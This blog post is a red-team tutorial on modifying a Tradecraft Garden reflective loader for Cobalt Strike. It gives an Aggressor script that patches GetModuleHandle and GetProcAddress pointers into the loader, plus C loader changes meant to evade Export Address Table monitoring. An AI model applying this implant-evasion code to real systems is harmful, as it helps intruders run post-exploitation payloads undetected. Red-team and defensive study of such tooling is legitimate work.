Harvesting the Tradecraft Garden - Part 2

Intro

In my previous post, we had a look at the Tradecraft Garden by integrating one of its PIC reflective loaders into a Beacon payload. One of the features I mentioned was that of passing additional arguments variables to Crystal Palace during its linking process. The example I cited was the guardrail loader, which uses a user-supplied key to encrypt the embedded resources. However, I stopped short of providing a practical example because it was 01:30 when I wrote it... The purpose of this post is to go back and provide an example using the pointer patching loader.

A reflective loader needs to resolve the function pointers of commonly-used Windows APIs required to load and execute whatever it's loading. These typically include VirtualAlloc, LoadLibrary, and perhaps VirtualProtect. Most loaders achieve this by walking the PE's Export Address Table (EAT) until they find function pointers for GetModuleHandle and GetProcAddress, and then use these two APIs to resolve the addresses of all the other required APIs.

Post-ex reflective loader

The availability of behavioural analysis and protections like Export Address Filtering (EAF) may require you to stay away from walking the EAT. To that end, Cobalt Strike provides an Aggressor hook called POSTEX_RDLL_GENERATE, which is called when a user executes a post-ex command that relies on a post-ex DLL (such as execute-assembly, powerpick, psinject, etc).

The hook passes two interesting arguments:

  • $5 - GetModuleHandle pointer
  • $6 - GetProcAddress pointer

These pointers actually come from the parent Beacon and this works because the base address of DLLs like kernel32 are fixed until the computer is rebooted. You can therefore be confident that the pointers for GetModuleHandle and GetProcAddress will be the same in every process. This allows these function pointers to be patched directly into the reflective loader so that it doesn't need to walk the EAT to find them.

The specification file for this loader requires the pointers be passed using the names "$GMH" and "$GPA". Note that Sleep's cast function is required to cast the arguments into a native Java byte array.

$hashMap = [new HashMap];

[$hashMap put: "\$GMH", cast($5, 'b')];
[$hashMap put: "\$GPA", cast($6, 'b')];

postex-udrl.cna

My full aggressor script looks like this:

import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;

sub print_info {
   println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Palace]\o " . $1);
}

print_info("simple_rdll_patch loaded");

# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandle pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE {
   
   local('$postex $arch $file_path $spec $hashMap $final');
   
   $postex = $2;
   $arch = $3;
   
   print_info("Running 'POSTEX_RDLL_GENERATE' for " . $1 . " with architecture " . $3);

    # get path to spec file
    $file_path = getFileProper(script_resource("garden"), "simple_rdll_patch", "loader.spec");

    # parse that spec
    print_info("Calling LinkSpec.Parse");
    $spec = [LinkSpec Parse: $file_path];

    # build hashmap
    $hashMap = [new HashMap];

    # add function pointers
    [$hashMap put: "\$GMH", cast($5, 'b')];
    [$hashMap put: "\$GPA", cast($6, 'b')];

    print_info("HashMap: " . $hashMap);

    # apply spec
    print_info("Calling spec.run");

    $final = [$spec run: $postex, $hashMap];

    if (strlen($final) == 0) {
        warn("Failed to build package");
        return $null;
    }

    print_info("Final Size: " . strlen($final));

    # return the new loader + dll
    return $final;
}

postex-udrl.cna

Modding the loader

We're not done yet because like in the previous post, the garden's loaders are not designed to be used specifically with Cobalt Strike, so we need to make some changes to make them compatible. These come from the Post-ex User Defined Reflective DLL Loader documentation.

The first is changing the function prototype for ReflectiveLoader() from void ReflectiveLoader(); to void ReflectiveLoader(void* loaderArgument);. This is required so that any arguments provided by the user for the command in the Cobalt Strike client can be passed to the post-ex DLL after it has been loaded into memory.

The second is to resolve the location of the .rdata section and pass it to the post-ex DLL via a pointer to a RDATA_SECTION struct. This is optional, but it does allow some post-ex DLLs to obfuscate their own read-only data.

typedef struct {
   char* start; // The start address of the .rdata section
   DWORD length; // The length (Size of Raw Data) of the .rdata section
   DWORD offset; // The obfuscation start offset
} RDATA_SECTION, *PRDATA_SECTION;

loader.h

I ended up doing this in the LoadSections method because we're already there looping through the sections.

void LoadSections(IMPORTFUNCS * funcs, DLLDATA * dll, char * src, char * dst, RDATA * rdata) {
	DWORD                   numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
	IMAGE_SECTION_HEADER  * sectionHdr       = NULL;
	void                  * sectionDst       = NULL;
	void                  * sectionSrc       = NULL;

	/* our first section! */
	sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);

	for (int x = 0; x < numberOfSections; x++) {
		/* our source data to copy from */
		sectionSrc = src + sectionHdr->PointerToRawData;

		/* our destination data */
		sectionDst = dst + sectionHdr->VirtualAddress;

		/* copy our section data over */
		__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);

        /* is this .rdata? */
		char name[IMAGE_SIZEOF_SHORT_NAME + 1] = {0};
		__movsb(name, sectionHdr->Name, IMAGE_SIZEOF_SHORT_NAME);

		if (funcs->strncmp(name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
			rdata->start = sectionDst;
			rdata->length = sectionHdr->SizeOfRawData;
			rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
        }

		/* advance to our next section */
		sectionHdr++;
	}
}

loader.h

RDATA rdata = { 0 };
LoadDLL((IMPORTFUNCS *)&funcs, &data, src, dst, &rdata);

...

loader.c

This did also require me to add strncmp into the findNeededFunctions method.

hModule = (char *)pGetModuleHandle("MSVCRT");
funcs->strncmp = (__typeof__(strncmp) *)   pGetProcAddress(hModule, "strncmp");

loader.c

After that, all that's left is to resolve the entry point and call it twice.

DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);

entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata);
entryPoint((HINSTANCE)src, 4, loaderArgument);

loader.c

Conclusion

Hopefully this was an interesting example to demonstrate this feature of Crystal Palace, and another shoutout to Raphael Mudge for creating such an interesting project.

Another place where you could leverage this loader is via the BEACON_RDLL_GENERATE_LOCAL hook when stage.smartinject is set to true in Malleable C2. This is similar to the BEACON_RDLL_GENERATE hook shown in the last post but this one is called when new Beacon payloads are generated through Cobalt Strike workflows, such as spawn. The BEACON_RDLL_GENERATE_LOCAL hook can therefore pass these function pointers from the parent Beacon in the same way POSTEX_RDLL_GENERATE does.

However, this isn't so easy in CS 4.11 because the new PrependLoader doesn't yet have the functionality to use embedded function pointers. So the hook is effectively ignored unless stage.rdll_loader is set to StompLoader instead, which kind of defeats the purpose of what we're trying to do here. This will no doubt change in a future as the PrependLoader becomes more mature.